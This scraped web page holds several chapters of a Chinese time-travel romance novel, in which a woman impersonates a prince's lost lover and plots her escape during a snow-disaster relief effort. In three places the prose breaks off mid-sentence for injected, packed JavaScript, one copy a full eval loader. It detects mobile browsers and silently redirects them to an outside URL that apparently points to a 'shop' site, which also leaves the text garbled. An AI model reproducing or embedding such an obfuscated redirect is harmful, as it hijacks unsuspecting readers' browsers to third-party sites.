他别开眼,语气冷硬:“不用。” 他只要枝枝教她。 沈翩枝忐忑闭上嘴,静候在侧,连呼吸都刻意放轻。 李暄有些失望。 他之所以陪这个外来者演戏是为了从她嘴里套取那个地方的信息。 他的枝枝来自于一个遥远的,他从未听闻的时空,那里的一切颠覆他的认知,同时也让李暄清楚意识到枝枝说的“不同世界”是什么意思。 李暄渴望枝枝,因此渴望了解她的世界。 他想进入她的世界。 此次雪灾显然是人祸所致,他虽笃定与太子脱不了干系,从帐本入手却查不出任何端倪。 原本想着这个外来者或许能瞧出些门道,怎料她连基本的算术都一窍不通,也不擅天文地理,只略通风雅诗词,无甚实用之处。 更让李轩无法忍受地的是,她一次又一次利用这张皮相说出狂浪之语,牵动他的心神。 明知道她在演戏,明知她不是枝枝,可心还是会猝不及防漏跳一拍,跳过之后换来的却是更深空落绝望。 李暄薄唇紧抿,左手紧握成拳,眼睛不由自主朝剑架看去。 烛火将殿内照得暖意融融,偏衬得李暄脸色沉得骇人,尤其他目光所向的终点令沈翩枝胆颤心惊,仿佛下一刻就要起身拔剑,砍下她的头。 只是答错了题,罪不至死吧。 沈翩枝克制住想逃跑的冲动,压住喉咙缓缓开口:“觅我所爱,与之双飞……” 清雅却不失利落的嗓音徐徐漫开,字字铿锵利落,带着异域独有的腔调,韵律绕耳不散。 她努力念得深情款款:“宽却衣带何须悔。” 独特的小舌颤音缓缓飘入耳中,李暄原本疲惫沉黯的黑眸猝然亮起,像死灰里复燃的火星。 他喉咙发紧扼制住呼吸,猛地抬眼。 视线触及到一张充满虚情假意的脸时,那点微光倏地灭了,双瞳陷入深渊。 今夜月圆,满室清辉。 李暄伴着壁上残影,一宿未眠。 寂静的大殿偶尔响起只言片语,化作锋利的刀刃,割开每一寸名为思念的血肉。 “不羡山盟,休问郎心。”(注②) 只要你要,只要我有。 可你什么都不要,包括我。 * 自那夜堪称九九八十一难的地狱考试后,整整半月,沈翩枝再未见过李暄。 打听之下方知京郊雪灾突发异变,莫名失踪了许多人,同时粮价疯涨,赈灾粮眼看就要吃完。 李暄一边搜寻他们的下落,一边筹款赈灾,无暇归府。 沈翩枝连日心绪惶惶,寝眠难安,唯恐李暄察觉破绽,提剑闯进屋子杀了她这个狗胆包天的骗子。 同为女性,枝枝才情见识远超常人,想要全然模仿伪装,着实难如登天。 当时她之所以吟诵那首诗,完全是情急之下的补救之举,弥补之前答题的失误。 枝枝通晓德语,又深爱李暄,沈翩枝赌枝枝肯定念过这首著名的德国情诗给李暄听。 她肯定李暄一定听过,且听懂了。 初听时吗,李暄神色难掩急切,不似作伪,但转瞬眼神变得格外瘆人。 沈翩枝很难用一个词准确地描述当时的李暄,像得知自己中了大奖,结果却发现是一场梦。 每每回忆起他的眼神,沈翩枝都忍不住抖三抖。 更糟糕的是,后来听闻那夜过后,李暄寝殿里易碎的物件全数换了新的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17572214|204188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她翻来覆去思索后最终得出结论,一定是她表现太差引起李暄疑心,现在他分身乏术,等回过神来保不准就要对自己做什么。 为保全自身,她必须尽早谋划应对之策。 “小荷,拿上东西我们走。” 沈翩枝将画卷以湖蓝锦缎细细包裹,贴身藏于斗篷内侧。 跟在她后面的小荷手里提了个质朴的黑漆食盒,里面装着一碗酒酿圆子准备送给秦王。 主仆两人穿过抄手游廊,停在王府的主路上等人。 柳公公每隔数日,便要往返秦王府与京郊之间,替秦王置换物件、传办诸事。 沈翩枝暗中留意许久,已然摸清出行规律,特意在此等候碰面。 寒风侵体,小荷为护住里面的吃食,双手抱住薄薄的木质食盒,十指冻得通红。 沈翩枝瞧见夺了过来,将食盒搁置一旁石墩之上。 “姑娘,这样等送到秦王手里就冻成冰块,没法吃了。” 小荷想抢回来,被人拦住,沈翩枝道:“王府离京郊数十里,早晚会冻住的。” 她原也不是真心要给李暄送吃的,不过是借送膳为由,借机接近柳公公。 一则向柳公公打探他义父房公公的踪迹,二则此人执掌王府户籍诸事,是她能顺利离京的关键人物。 本朝宫人户籍归宫内存档,拨入王府侍奉便归入王府属籍,由宗正寺登记在册,秦王府此事尽数由柳公公管辖。 沈翩枝心中存有两番打算,一边继续与李暄虚与委蛇,打探枝枝旧事,一边暗中筹备脱身退路,事情一旦不对,便立刻抽身跑路。 这些日子她避开小荷偷偷用剪子将官铸银锭绞碎,再分开藏匿。 如今她手里有钱,就差户籍。 若没有户籍公凭,她这个黑户雇车住店,租房买卖都会受到限制。 小荷唉了声:“可惜咱们不能出府,不然我就能一直抱在怀里。” 沈翩枝浅笑道:“礼轻情意重。秦王知道咱们的心意就成。” 闲谈之间,月洞门处现出一道靛色身影。柳公公步履从容而来,身后数名灰衣随从恭敬随行。 他样貌清秀,平日待人温和有礼,沈翩枝却未曾忘却对方威胁她乖乖听话时的狠厉,他日后身居高位,心性亦是狠绝果决。 幸好沈翩枝知道他有个不为人知的喜好,在书中某个不可描述的场景中枝枝毁了一幅画,李暄调侃说要藏起来,不然柳公公见到定会心疼坏了。 柳公公早已瞥见路旁二人,却脚步不变,直至近处才笑着迎上去,询问她们的来意。 沈翩枝奉上食盒,柔声道:“妾连日未见王爷,心中挂念不已。知晓王爷公务繁忙,不便贸然叨扰,劳烦公公代为转达心意。” 柳公公客气接过,转手交给随从。 她顺势取出斗篷内包好的东西,径直递至对面手中,不给柳公公拒绝的机会,便带着小荷匆匆离开。 一入手,柳公公立刻辨出是画卷,他脸上笑意淡去,望向远去背影,目光多了几分慎重。 当晚,食盒与画卷一同送至李暄面前。 铺开画卷,青竹苍劲挺拔,竹石相映成趣,笔墨皆是上乘。 李暄眼眸微眯,他记得灵芝当时讨要画作时的理由是装饰屋子。 余光瞥见一旁打开的食盒,白瓷描金浅口碗的表层凝着一层碎冰,莹白似玉,浅浅覆于汤面,隐约瞧见下面的拇指大小的白团混着几粒发白的酒酿,是王府灶房里一碗普通的甜点样式。 李暄嘴角划过戏谑:“她是冲你来的。” 连小柳喜欢字画这等隐秘之事都知晓,这个外来者究竟还知道多少东西? 时隔多日,李暄终于找到个不杀她的理由。 他道:“过几日把她送过来。” 12.第 12 章 沈翩枝借着送膳的名义,再度将数幅名家字画悄悄赠予柳公公,几番往来打点,柳公公面上笑意较往日真切了几分。 她瞧准时机,面露怅惘,以思乡为由,恳请柳公公借助王府驿路帮自己寄送家书。 时下寄信的方式分为两种,寻常百姓只能依托商旅、赶考士子捎信,费高昂还常有书信遗失。官驿则仅限七品官吏亲眷使用,需严格核验户籍身份。 这些日子她打探到户籍遗失可补办,只需找系籍书铺提交陈状,再托里正户长作保打点,便能重新核发。她没有灵芝的记忆,唯有从户籍上才能得到原籍与家中信息。 柳公公满口应下,让她写好信送来便是。沈翩枝写好后却没给他,而是自己寻到府中户曹参军的值房,想要当面核验户籍、申领寄信公凭。 户曹参军见沈翩枝是个生面孔,以规制森严为由婉拒,称公凭需王爷印鉴或柳公公亲至才能取。 沈翩枝心里着急,怕把柳公公引过来,偷看户籍的盘算便要落空。 眼下李暄与太子朝堂相持,正是脱身良机。 李暄定然不会大张旗鼓搜捕她,她便可借着时间差办扩户、更名换姓,日后就算李暄登了基,也难寻到她的踪迹。 她不是不想查枝枝的事,只是李暄那夜的杀心几乎凝成实质,比起旁的,还是小命要紧。 她给小荷递个眼神,小荷上前一步往他兜里塞了一包银子:“大人明鉴,我家姑娘原是宫中出来的灵芝姑娘,柳公公早已应允代为递送家书,只因他公务繁忙,姑娘才想着自行先核对籍贯,以免给人添麻烦。” 沈翩枝顺势淡淡蹙眉:“大人若是怀疑我的身份,即刻去请柳公公前来对质便是。 ” 她今日特意身着水红绫棉袄,外罩同色锦缎披风,襟边滚一圈蓬松白绒,红白相映,气度华贵。 户曹参军一早就猜到她的身份非比寻常,现在又听到是宫里来的,立刻联想到之前内院传得绘声绘色的“五次水”,不由神色一凛,态度愈发恭敬,却依旧不肯写公凭:“姑娘恕罪,秦王府规矩如此。不劳姑娘干等在这儿,小的这就去请柳公公示下,办妥了亲自给姑娘送去。” 沈翩枝轻叹一声,佯装体恤他:“罢了,我也不为难你。只求核对原籍地址,免得写错误了家书,你把我的户籍拿给我核对一眼总成吧?” 户曹面露难色,迟疑不决。 小荷帮腔道:“姑娘只是核对自家籍贯,只瞧一眼,不算坏了规矩。” 户曹参军权衡利弊一番,终究取了户籍册子出来。 沈翩枝按捺心中狂喜,淡淡扫过上面的信息,默默记下,随后留下信件。 待到傍晚,柳公公登门到访,沈翩枝原已备好说辞应对问责,不料他只带来一则口谕:“殿下传命,请姑娘收拾行囊,次日一早动身去往京郊大营伴驾。” 沈翩枝心头莫名咯噔一下。 柳公公笑道:“殿下待姑娘非比寻常,这可是天大的福气。” 沈翩枝心里一万个不愿意,但面上欢欢喜喜问:“怎么这么突然?” 天杀的,不会是想骗她到荒郊野岭灭口,再神不知鬼不觉埋了吧? 柳公公笑而不答,躬身告退。 见人走远,小荷喜笑颜开道:“定是殿下感受到姑娘的心意了!我这就收拾行李,保证让您趁此良机牢牢抓住秦王的心。” 沈翩枝咬牙,后悔去献殷勤引起李暄的注意,早知就该直接送礼,不弄什么弯弯绕绕。 隔日清晨上马车的时候,柳公公拦住小荷,说只要灵芝姑娘一个人去。 沈翩枝大惊,依依不舍拉着小荷的手,眼里含着的泪半分不作假。 她不会穿繁复衣裙,也不会梳复杂发髻,没了小荷,她相当于半个废人,一眼就能看出有问题。 好在她临走前在身上藏了不少碎银,户籍信息也已到手,大不了见势不对就跑。 雪地车行颠簸,车辙时而碾过冻得硬实的雪壳,时而陷进松软的雪窝子里,一路晃得沈翩枝天昏地暗,下车时早已分不清东南西北。 “灵芝姑娘,这边走。”柳公公适时扶了把摇摇欲坠的沈翩枝,引她往大营方向走。 沈翩枝忐忑地随柳公公往主帅大帐走,一路上看见有人在发粮、有人在登记信息,灾民们衣衫褴褛,面色枯槁,眼睛里充满麻木绝望。 早前便听闻这场大雪引发灾乱,更揪出官商勾结贪墨官粮一案,龙颜震怒,陛下勒令李暄一月之内彻查平灾。 眼下期限将近,李暄仓促召她前来,又不许小荷相随,由不得她不多想其中的隐情。 帐内没有人,正中央摆着一张发旧的矮桌,上面有一套笔墨纸砚,四周堆满了一摞摞册子。左侧有一张床,大小勉强能睡下两个人,右边是一些椅子,架子等简易家具,四下灰扑扑的,透着没人气的冷。 柳公公让她稍坐,便出去寻人。 沈翩枝不敢乱动,不多时,帐外接连响起参拜殿下的声响,她紧张的缩至角落垂首而立。 李暄掀帘而入,面色冷峻,发间落了层细碎的雪沫,衣摆被融雪浸得暗沉,目不斜视走到上首坐下。 他垂着眼一言不发,帐内气氛瞬间低迷沉抑。 柳公公唤了声:“灵芝姑娘。” 沈翩枝屏住呼吸,走到他面前规规矩矩行礼:“殿下。” 李暄不绕半句弯子,开门见山:“营中藏匿了不少太子的人,你想办法引他们出来。” 沈翩枝瞬间了然,灵芝在太子眼里还是自己人。 她忽至军营,暗处的细作必回好奇,找机会接近她打听缘由。 李暄交代完便起身匆匆离去,自始至终没看她一眼,仿佛她不过是枚随时可抛弃的棋子,连多施舍半分目光都嫌多余。 他冷淡的模样令沈翩枝后背沁出一层冷汗,战战兢兢跟柳公公去隔壁帐篷安顿。 帐内数张通铺,她特意选靠门床位,方便危急时脱身跑路。 用过午膳,她依吩咐摆出受宠姬妾的模样,在营地周遭缓步闲逛,心里却惴惴不安,一直琢磨李暄急转直下的态度。 她容貌出众,不到一个时辰,秦王携宠姬驻守大营的消息传遍驻地。 连带着死气沉沉的灾民都议论纷纷,有人艳羡殿下红袖相伴,亦有人借机非议李暄耽溺美色、荒废赈灾。流言在有心人挑唆下越演越烈,不少灾民对秦王生出怨言,看向沈翩枝的眼神愤恨恶毒。 天色阴沉,有种山雨欲来风满楼的悚然。 沈翩枝提心吊胆绕了几圈营地附近,好不容易熬到可以回去休息,临时又被柳公公请到主帐,说秦王等会有事要问她。 听见这个消息的时候除了慌张惶恐,她还有有种终于来了的释然。 沈翩枝坐立不安地等在帐内,一边绞尽脑汁回忆各种知识以应对诘问,活似考前临时抱佛脚的白丁,另一边冥思苦想枝枝和李暄两个人甜蜜过往。 甚至想过破罐子破摔,全部招了争取坦白从宽。 她知道些关于太子的隐秘之事,想以此交换一线生机。 李暄入夜方归,恰好卡在枝枝本该现身的时辰。 他一进帐,还没来得及脱下沾满风雪的衣袍,手腕就被人握住。 沈翩枝硬着头皮迎上去,柔柔唤了声殿下。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582609|204188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李暄身形微顿,本想甩开,然而沈翩枝的手更快。 她顺着衣袖捧起李暄的十指,低头垂眸,目光专注,语声微哑道:“殿下的手怎么又冻成这样。” 温软指腹摩挲着泛红肿胀的指节,力道轻缓温柔,缕缕暖意穿透皮肉蔓延全身,无声无息化开风雪侵骨的寒凉。 这一瞬,李暄忘了抽出手,忘了原本的目的。 忘了是他故意透露自己砸毁房间的消息乱她心神,忘了对她多日的刻意冷落,不闻不问,再骤然将人丢进荒郊野岭的军营中使她孤立无援。 他忘了今夜要挑破她的谎言伪装,溃她的的心理防线,逼出她所知道的一切。 僵冷的手指被细腻的柔荑温柔地环绕,揉捏,打圈,逐渐沾染上不属于它的温热。 唇边的质问像被冻在喉里,慢慢化成温水,重新流回腹部。 自从枝枝离开后,他的手每年冬天都长满了冻疮,从疼痛难忍到习惯麻木。 原来他还是有感觉的。 天这么冷,光这么亮,手这么暖。 李暄垂眸静立,任由她拿捏自己。 帐中只点了一盏油灯,火苗让帘缝里灌进来的风吹得摇摇晃晃,细碎灯火穿过长睫,浅浅落在丰润唇瓣之上。 艳丽的红被暖光一照,像雪地里落了片海棠瓣,润泽得几乎要滴出水来,衬得冷白的皮肤显出瓷釉似的光泽。 她微微翕动的红唇好像在说些什么,他听不分明,耳边环绕着那夜动人的情诗。 帐布透光,从外面看两道人影悄然连在一处。 沈翩枝嘴里时不时念叨着“殿下怎能如此不爱护自己”、“我看着心疼”、“我替殿下吹一吹“之类的情话,心里却在默数时辰,只要再熬过一刻钟枝枝就该消失。 她不必回答奇奇怪怪的问题加深李暄的怀疑。 别看她的动作从容,实则紧张极了,也不知道这一招管不管用。 书里多次描述李暄粗糙的指腹抚过枝枝,从上到下,激起阵阵颤栗,事后在欣赏自己弄出来的满身残痕时还不忘假模假样道歉。 枝枝不知李暄的险恶用心,还一脸心疼地握住他的手,说自己在冷宫里没照顾好他,才让冻疮成了旧痂。 沈翩枝的手指也容易被冻伤,长了冻疮会发痒,不过她爱美不想挠破留疤,到处搜罗缓解的法子,没想到今日会派上用场。 她不敢看李暄的脸,只盯着那双冻红的手,慢吞吞地揉搓。 时间过得很慢,但又好像很快。 李暄眼睁睁看着眼前人慢慢靠近,然后一头往他身上栽倒,他下意识双手去接,软玉温香抱了满怀。 还不等他回神,沈翩枝仰起头,眼里惊喜又诧异道:“秦王殿下,莫非您想要与我假戏真做吗?” 说罢,她的双手大胆地环上李暄的脖颈,娇羞道:“小声一点,外面有人。” 下一刻,李暄恼羞成怒推开她,掌心却不自觉收着力。 沈翩枝早知道李暄根本不会碰她,甚至说得上嫌弃,总是让她离他远点,好像她是瘟疫似的,碰一下就会玷污他。 她顺势往后退到帐门口,掩面委屈道:“殿下若是无心,何必糟践奴婢一片心意,干脆送我回秦王府,眼不见为净!” 说罢决绝转身,手刚搭上门帘就听见身后一声“站住”。 沈翩枝身形一僵,语气发虚:“殿下还有何吩咐。” 李暄攥紧五指,将掌心的温度捏碎,赌气般沉声道:“今夜,你便宿在此处。” 他似在同自己较劲,执意要证明方才片刻失神只是错觉,眼前之人,无法搅乱他分毫心神。 13.第 13 章 沈翩枝听见李暄吩咐人搬张床榻进来时,暗自松了口气。 然而很快,她的心情便从紧张变为茫然。 只见柳公公抬完床榻,转身又抬进来一架长逾床身的素面屏风,屏风比她人高出一个头,往两张床榻之间一横,直接把帐篷切成了两个互不相见的独立隔间。 紧接着,李暄又命人在地面牵起一根根细绳,绳上缀满小巧铜铃,稍稍磕碰便叮当作响。 她这一侧布了三道防线,李暄那边亦是三道,六道防线交错布设,密不透风,别说是人,就是只野猫窜过去,也得响一路。 看着地上密密麻麻的铃铛阵,沈翩枝哭笑不得,一时间分不清到底是谁更怕谁。 布好天罗地网,众人退下,帐篷里只剩下她和李暄。 沈翩枝躺在简易木榻上,浑身僵得像块木板,连脚趾头都不敢蜷一下,生怕带出半丝响动,惊动了屏风那头的杀神。 屏风另一侧,李暄正净手。 他力道极重,一根一根反复搓擦手指,生满冻疮的指头被粗布碾过,火烧似的刺痛顺着肌理窜遍神经。 越痛,他反倒愈发用力,像自虐一般,直到疼痛变得麻木才罢手。 淅淅沥沥的水声一停,帐篷里静得出奇。 李暄面无表情拭干手,躺回自己的床榻,闭目休憩。 没过多久,屏风另一头传来若有似无的木架咯吱声。 军营器物一概从简,床架是几条粗木拼钉而成,稍一动弹便摇晃出声。起初李暄刻意置之不理,可那声响时断时续,宛若钝锯拉木,无休无止,搅得人心烦意乱。 他拧紧眉忍了一阵,终是冷声问她:“吵什么?” 屏风后的响动骤然停歇,半晌才飘来一缕怯生生的细音:“床板有些硌身,躺得难受。” 李暄毫不留情地嘲讽她娇气。 沈翩枝咬牙,暗骂他皮糙肉厚不知苦楚,奈何寄人篱下,只能把这口气咽回去,强行闭眼。 帐内重归寂静,沈翩枝竭力忽视身下硌人的木板,试着凝神调息。 可越刻意忍耐,感官越是敏锐,空气中弥漫着一股久湿不燥的霉涩气息,沉闷刺鼻堵在鼻腔里怎么也散不去。 霉气缠着床板的不适一并袭来,她挥手想要驱赶,结果动静更大了。 李暄忍无可忍,“又怎么了。” 沈翩枝捏着鼻子道:“帐篷里好像有股怪味……不会是死老鼠罢。” 一想到自己和死老鼠睡在一起,沈翩枝头皮都炸了,一骨碌弹起来蹦下床想往外跑。 刚走一步就勾到地上的细绳,几百个铃铛瞬间密密匝匝摇颤起来,像潮水似的从帐篷这头漫到李暄那头。 “站住!别过来!” 李猛地坐起身,手边长剑铮然出鞘,冷声威胁:“收起你的小心思,退回去躺好,不然我杀了你。” 沈翩枝硬着头皮往后退,屈膝坐在床上,双手抱住双膝,把自己缩成一团。 铃声渐歇,帐中静下来,方才被铃声淹没的喘息浮上来,细细弱弱的,像绒絮飘飘落在鼻尖,软得几乎没有分量,却也吹不走,痒得人难受。 李暄语气里压着不耐:“你那边角落堆着被雨雪浸透的衣衫。” 沈翩枝这才缓缓松开四肢,慢慢躺下去,呼吸渐渐平稳。 此时此刻她十分想念秦王府,想念偏殿那个奢华浮夸的白玉澡池,想念那张软得像云堆似的青绿重锦衾,想念屋子里暖融融的沉木香。 正想着,李暄忽然风马牛不相及地说了句:“平民百姓家里,都是这种味道,这种床板。” 沈翩枝身体微微一僵,难不成他知道自己要逃跑? 她不敢接话,老老实实躺平。 屏风那头彻底安静下来,李暄唇角几不可查地微微勾起。 嘴上虽在挑剔她娇生惯养,心情反倒舒畅不少。 眼前这个灵芝像个被娇宠出来的大小姐,半点受不得清贫苦楚,之前府里冲他要东西时那副理直气壮的模样,一看便知是个贪图安逸享乐的主儿。 这般脾性与枝枝判若两人。 头几年冷宫里要什么没什么,日子清苦,可他从未听过枝枝抱怨一句。 粗陋膳食,她就想办法摆出好看的花形增添趣味,衣料破损,她便缝上别致纹样。李暄记得那个图案像一颗桃子,但枝枝说这叫爱心。 纵是身处困顿泥泞,也有热爱生活之心。 忆起往事,李暄眸色柔了几分。 冬日里冷宫缺衣少炭,他被关进来的头一年十指生满冻疮,又痒又痛,忍不住挠破皮。 枝枝耐着性子以掌心温敷,一点点替他揉开淤肿,舒缓痛痒。 她的掌心温暖,柔软。 他想起枝枝与他说悄悄话时习惯掌心朝外,那时他便悄然偏过侧脸装作不经意贴靠上去,就好像她在抚摸他的脸。 李暄阖上眼,将今夜那一个时辰的恍惚与错认归咎于连日奔波的疲惫。 他肯定,往后绝不会再将眼前之人与枝枝弄混,心底刻意忽视二人按摩冻疮时如出一辙的手法。 十指麻木的钝痛渐渐散去了,取而代之的是一阵微微的痒意,像绵绵的春雨落在脸上,可以忍耐。 夜里起了风,铃铛细细颤颤响起来,也可以忍耐。 李暄素来不习惯与人同室而眠,本以为今夜会是个不眠夜。可一睁眼,天边已蒙上了一层鱼肚白。 他心头掠过一丝懊恼,转瞬又释然。 这说明灵芝的存在他而言毫无影响,他下意识只把她当做一个毫无威胁的物件。 起身整装往外走,抬手掀帘之际,动作微顿,回头余光扫过帐中安然沉睡的人影,想了想,低声嘱咐门外侍卫切勿惊扰。 李暄前脚刚走,沈翩枝瞬时睁开双眼。 昨夜她提心吊胆彻夜未眠,生怕稍有动静触响铜铃招来杀身之祸,虽不知他为何忽然留她同宿,好在终归有惊无险。 横竖她也没什么正事,趁李暄不在,沈翩枝倒头补了个安稳的回笼觉。 等她睡醒,吃饱喝足,又在军营里晃荡起来。 可营地拢共就这么点大,头一日还有点新鲜劲,第二日就已经腻了。 她觉着自己走来走去的样子实在有些傻,又不想回那个逼仄难闻的帐篷里待着,便主动上前想帮忙做些登记造册、发放粮食的活计,可一众官员瞥见是她,神色恭敬地躬身请她回去休息。 沈翩枝百无聊赖蹲在雪地之上随手勾画,柳公公跟着李暄外出公干,周围连个认识的人都没有,心里难免有些不安。 忽然,雪色尽头出现一队人影。 领头的是个九尺高的汉子,肩头扛了把阔背大刀,昂首阔步地朝营地走来,身后的披风让朔风扯得猎猎作响。 队伍行速很快,转眼就到营地外,整个营区瞬间忙成一锅粥。 高大的汉子名为曹昱,是李暄的副将,他交代此番归来是为护送数十名稚童。 这些孩童的双亲皆葬身雪灾,尽数成了孤儿,若是留在灾民驻地怕是连口热粥都抢不上,请示李暄后决定安置在官吏这片驻地。 正事说完,曹昱便拉住旁边人询问沈翩枝的身份,得到答案后视线在她身上好奇地来回打量。 他的目光坦然并无半分龌龊,沈翩枝察觉后大方地回以一个微笑。 这群孤儿大的不过七八岁,小的才三四岁,个个面黄肌瘦、身形单薄,安安静静站成一团不哭不闹,却让沈翩枝看得心里发酸。 他们或许还不懂什么是死亡。 热腾腾的食物立刻被送过来,但他们没有一个人上前拿。 曹昱掰开一个烧饼,顺手递给旁边的小女孩:“吃吧。” 他身形魁梧壮硕,筋骨扎实,蹲下去像一座小山压下来,再加上他面皮黝黑,满脸粗硬短须衬得面相分外粗犷,直接把小姑娘吓哭了。 这一哭可不得了,孩群仿佛找到宣泄的口子,大大小小哭成了一片,吵得曹昱头大如斗,手足无措。 周围都是五大三粗的士兵,亦是无计可施。 “别怕,姐姐在,姐姐护着你们。” 沈翩枝弯下腰,伸手将瑟瑟发抖的小女孩拢进怀里,轻轻地拍着她的背软声安抚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588984|204188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 比起长相凶恶的怪叔叔,漂亮温柔的大姐姐更让人有安全感。 小女孩的哭声渐渐止住,肩膀还一抽一抽的,手指死死攥住了沈翩枝的衣角,沈翩枝抱起她,对着一群孩子们俏皮道:“先吃些东西垫垫肚子,你们哭的有气无力的,我听着都累。” 一众孩童闻言,纷纷不好意思地低下头,渐渐收了哭声。 曹昱一直在旁边观察沈翩枝,没有阻止她插手,只在合适的时机出声帮忙,两人相互配合,有条不紊地安顿好了这群孩子。 诸事落定已至夜幕,沈翩枝打包好行囊准备回隔壁的小帐篷睡,她可不想再与李暄待在同一个空间。 一掀帘,里头横七竖八躺满了人。 她这才想起白日里曹昱要按齿序分帐,但她提议按照男女分,曹昱对此无所谓,便照她的意思办了,将所有女童集中在军营帮工的妇人帐篷里。 沈翩枝打算随意寻个落脚地对付一晚,帐外便传来秦王有事暂不归营的消息。 她眸光一亮,当即打定主意鸠占鹊巢。 反正她是秦王宠姬,去他帐篷里睡天经地义,不但要睡,还要睡那张大床。 不知道是不是心理作用,李暄这张床睡上去就是比她那张小破板床舒服,睡在这里也闻不见奇怪的味道。 李暄不在,她也不用担心半夜会身首异处,裹着被子滚了一圈,没多会儿便沉沉睡去,一夜无梦。 接下来几日,沈翩枝帮着曹昱一起安抚这群孩子,两个人渐渐熟络起来,从孩子的吃食安置聊到这次的雪灾,话头也多了。 一日夜里,两人忙完后坐在地边的篝火前歇脚,曹昱啃了口饼子,忽然道:“你跟传闻中的不大一样。” 沈翩枝身体一僵,干巴巴笑了两声:“什么传闻?” 曹昱压低声音:“秦王府里传出来的,说你是会惑人的鬼魅,缠得秦王一夜五次水。” 沈翩枝正故作轻松地抿了一口热汤,闻言全喷在脚边的雪地上。 狗贼害她名誉尽失! 曹昱笑得前仰后合,“抱歉,恕我方才失言冒犯。我知道你们是假的。” 沈翩枝一边擦嘴,一边不动声色反问:“你怎么知道真假,难不成你在秦王房里?” 曹昱神秘兮兮凑近了些,声音更低:“因为秦王心里一直有一个人。” 沈翩枝瞳孔微缩,语气却漫不经意:“是谁?” “枝枝,你听过吗?” 沈翩枝摇头。 曹昱往嘴里又塞了口饼子,嚼得腮帮子鼓鼓囊囊:“我还见过她长什么样。” 真是踏破铁鞋无觅处,得来全不费工夫,沈翩枝没想到自己还有瞎猫撞上死耗子的运气,忙顺着他的话追问枝枝长什么样。 曹昱冲她挤眉弄眼:“说实话,她长得没有你好看。” 沈翩枝虚荣地谦虚了一下:“不敢当。” 枝枝果然长得跟她不像,即便有灵魂和记忆在,但身体到底是别人的,这或许是李暄能忍住不亲近她的原因。 曹昱话音一转,语气里多了几分正经:“他只认枝枝姐一个人,我劝你还是放弃他吧。” 沈翩枝眼神黯然,叹了口气:“可我就喜欢秦王……要不你告诉我,她是个什么样的人,我学还不成吗?” 曹昱笑了下,没说话。 沈翩枝急了,伸手朝曹昱右肩就是一拳。那拳砸在皮糙肉厚的武将身上,对方纹丝不动,倒把她自己虎口震得发麻。 曹昱见她龇牙咧嘴地甩手,乐得又是一阵大笑。 这嬉闹一幕,被外出刚归营的李暄撞个正着。 沈翩枝与曹昱打打闹闹的笑颜被篝火照亮,眉眼生动得像换了一个人,毫无面对自己时的虚伪做作。 他站在原地,面色沉沉看着这个外来者顶着枝枝的脸与别的男人打情骂俏,心中怒意止不住上涌。 怒火尚未压下,只见前方的女人反手挡住嘴,俯身凑在曹昱耳畔低语。 她的掌心正对着李暄的脸,像一个巴掌扇过来。 李暄如遭雷击,僵在原地动弹不得。 14.第 14 章 灵芝不可能是枝枝。 李暄当即压下这个荒唐的猜测。 灵芝贪生怕死,油嘴滑舌,又好逸恶劳,现下又添了个勾三搭四的劣行,处处都与枝枝相去甚远。 可念头辗转,偏又不由自主搜罗起二人重合的蛛丝马迹。 同是异世来客,通晓一模一样的异域语言,还有那首情诗…… 倘若她真是枝枝,那为什么不肯与他相认? 李暄目光牢牢锁在篝火边的纤细身影上。 火烧的正旺,一蓬一蓬往上窜的火星在沈翩枝素白绫裙前凌空炸开,恍如漫天落星,直直映进他的心里。 今日她褪去精心描画的妆容,未施粉黛,眉眼澄净,衬得唇瓣莹润嫣红,微微抬首,唇角噙着浅淡笑与曹昱闲谈说笑。 夜风吹落鬓边一缕青丝,她勾起尾指随意拢至耳后,露出的侧脸轮廓再一次和记忆中清丽脱俗的人影重叠。 李暄的心随着她莹润的指尖摇晃起来。 曹昱正和沈翩枝说着事,余光瞥见伫立暗处的李暄,也不起身,抬手随意招呼,熟络自然地朗声唤了声秦王殿下。 曹家是已故太子妃的娘家,论资排辈,李暄还得叫曹昱一声表哥。 沈翩枝脸上的笑意骤然僵凝,没料到李暄这时候归营,慌忙起身相迎。 她停在李暄两尺开外的距离,垂眸敛神,恭顺屈膝:“见过秦王殿下。方才正同曹将军打听您归期,不想转眼便见着您了。殿下一路车马劳顿,奴婢这就去备热水送入主帐。” 灵芝这副见如见蛇蝎,避之不及的模样落在李暄眼底,无端惹得他心头烦闷。 他说不清缘由。 往日相见,她向来热忱凑上前百般示好,缠磨不休,必得他冷脸撂几句呵斥,才肯悻悻退去。 纵使清楚那份满心倾慕全是演出来的虚情假意,可她一朝收敛、恪守分寸,反倒处处透着怪异。 她可能是枝枝吗? 李暄前几日还笃定的答案,悄然动摇。 篝火边的声气随着李暄的到来彻底沉寂,像炭盆里浇了水,滋啦一声灭了个干净。 